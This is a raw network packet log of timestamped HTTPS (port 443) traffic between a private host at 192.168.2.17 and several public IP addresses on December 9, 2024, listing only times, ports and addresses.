Dec 9, 2024 18:42:17.327163935 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.327173948 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.327264071 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.327346087 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.327744961 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.327820063 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.328012943 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.328022003 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.328248978 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.328361034 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.328768969 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.328768969 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.328783989 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.328845978 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.381638050 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.381645918 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.381674051 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.429791927 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.773809910 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.773878098 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.774018049 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.775283098 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.775301933 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.775665045 CET	49707	443	192.168.2.17	52.200.208.143
Dec 9, 2024 18:42:17.775770903 CET	443	49707	52.200.208.143	192.168.2.17
Dec 9, 2024 18:42:17.775938034 CET	49707	443	192.168.2.17	52.200.208.143
Dec 9, 2024 18:42:17.775945902 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.775993109 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.776304960 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.776304960 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:17.776335001 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:17.784900904 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.785572052 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.785602093 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.785667896 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.785682917 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.785958052 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.786761045 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.793004990 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.793243885 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.793272972 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.793283939 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.793627977 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.801428080 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.809762001 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.809983015 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.809993029 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.860584021 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.907121897 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.952675104 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.977041006 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.980835915 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.980983973 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.981010914 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.990132093 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.990161896 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.990217924 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.990245104 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.990351915 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.997370005 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.006273985 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.006607056 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.006633043 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.014055967 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.014333963 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.014358997 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.021568060 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.021821976 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.021847010 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.030133963 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.030683994 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.030708075 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.045680046 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.045794010 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.045821905 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.045847893 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.045893908 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.052284002 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.058651924 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.058917046 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.058948994 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.058974981 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.059077978 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.065005064 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.071716070 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.072151899 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.072176933 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.128588915 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.140887976 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:18.141258955 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:18.141287088 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:18.142411947 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:18.142695904 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:18.143440962 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:18.143522978 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:18.143601894 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:18.169935942 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.172477961 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.172732115 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.172753096 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.177041054 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.177109957 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.177123070 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.186081886 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.186177969 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.186197996 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.186362982 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.191332102 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:18.191638947 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:18.191652060 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:18.194807053 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.194818020 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.194899082 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.195147991 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.195207119 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.204035997 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.204044104 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.204118967 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.211443901 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.211453915 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.211623907 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.215235949 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.215342045 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.223576069 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.223779917 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.231044054 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.231136084 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.235235929 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.235327959 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.235343933 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.235371113 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.235522032 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.235824108 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:18.235841036 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:18.239670038 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:18.309885979 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:18.309931993 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:18.310002089 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:18.311723948 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:18.311738014 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:18.714673996 CET	49771	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:42:18.714730978 CET	443	49771	172.217.21.36	192.168.2.17
Dec 9, 2024 18:42:18.714817047 CET	49771	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:42:18.715053082 CET	49771	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:42:18.715066910 CET	443	49771	172.217.21.36	192.168.2.17
Dec 9, 2024 18:42:18.988281965 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:18.988539934 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:18.988569021 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:18.988912106 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:18.989217997 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:18.989288092 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:18.989351988 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.031343937 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.306298971 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:19.306826115 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:19.306883097 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:19.306941986 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:19.433834076 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.434333086 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.434401035 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.434432030 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.436003923 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.436038971 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.436079979 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.436090946 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.436150074 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.443217993 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.451606989 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.451960087 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.451968908 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.495672941 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.495690107 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.523799896 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.524163961 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:19.524190903 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.524539948 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.524888039 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:19.525007963 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.525027037 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:19.544096947 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.553270102 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.571329117 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.575669050 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:19.607666969 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.607690096 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.630836010 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.630889893 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.630897045 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.636023998 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.636195898 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.636203051 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.643557072 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.643618107 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.643624067 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.651055098 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.651097059 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.651103020 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.658616066 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.658667088 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.658673048 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.673077106 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.673126936 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.673132896 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.680540085 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.680587053 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.680594921 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.688019991 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.688098907 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.688108921 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.695557117 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.695647955 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.695652962 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.702404976 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.702461958 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.702467918 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.708817959 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.708865881 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.708875895 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.715358973 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.715404987 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.715414047 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.715440989 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.715581894 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.715615034 CET	49769	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.715631962 CET	443	49769	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.734829903 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:19.734875917 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:19.735116005 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:19.735322952 CET	49772	443	192.168.2.17	18.165.220.47
Dec 9, 2024 18:42:19.735333920 CET	443	49772	18.165.220.47	192.168.2.17
Dec 9, 2024 18:42:19.868562937 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.868611097 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.868710995 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.868941069 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:19.868957043 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:19.980859995 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.981450081 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.981694937 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:19.981722116 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.982378006 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.982404947 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.982430935 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:19.982439041 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.982470989 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:19.988532066 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.996887922 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:19.997026920 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:19.997035027 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.039681911 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.039700031 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.087662935 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.100652933 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.100774050 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.100833893 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.100851059 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.150650978 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.172024965 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.177627087 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.177695990 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.177712917 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.182518959 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.182571888 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.182581902 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.190481901 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.190601110 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.190607071 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.198710918 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.198762894 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.198772907 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.214701891 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.214893103 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.214945078 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.214956045 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.214993954 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.222157001 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.230022907 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.230070114 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.230082035 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.238311052 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.238358021 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.238364935 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.244703054 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.244759083 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.244765997 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.250942945 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.250988960 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.250996113 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.257190943 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.257235050 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.257244110 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.310677052 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.310694933 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.357671022 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.366868019 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.368817091 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.368872881 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.368912935 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.373241901 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.373298883 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.373322010 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.381648064 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.381742001 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.381764889 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.381818056 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.386004925 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.386017084 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.386075020 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.394169092 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.394180059 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.394253016 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.401382923 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.401392937 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.401459932 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.409043074 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.409055948 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.409132004 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.413122892 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.413130999 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.413187027 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.413201094 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.413247108 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.420778036 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.420844078 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.428504944 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.428590059 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.428716898 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.428838015 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.432626963 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.432678938 CET	49770	443	192.168.2.17	104.17.24.14
Dec 9, 2024 18:42:20.432697058 CET	443	49770	104.17.24.14	192.168.2.17
Dec 9, 2024 18:42:20.612627029 CET	443	49771	172.217.21.36	192.168.2.17
Dec 9, 2024 18:42:20.616996050 CET	49771	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:42:20.617036104 CET	443	49771	172.217.21.36	192.168.2.17
Dec 9, 2024 18:42:20.617423058 CET	443	49771	172.217.21.36	192.168.2.17
Dec 9, 2024 18:42:20.620857954 CET	49771	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:42:20.620940924 CET	443	49771	172.217.21.36	192.168.2.17
Dec 9, 2024 18:42:20.660703897 CET	49771	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:42:21.079407930 CET	443	49773	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:21.079811096 CET	49773	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:21.079843998 CET	443	49773	104.18.94.41	192.168.2.17
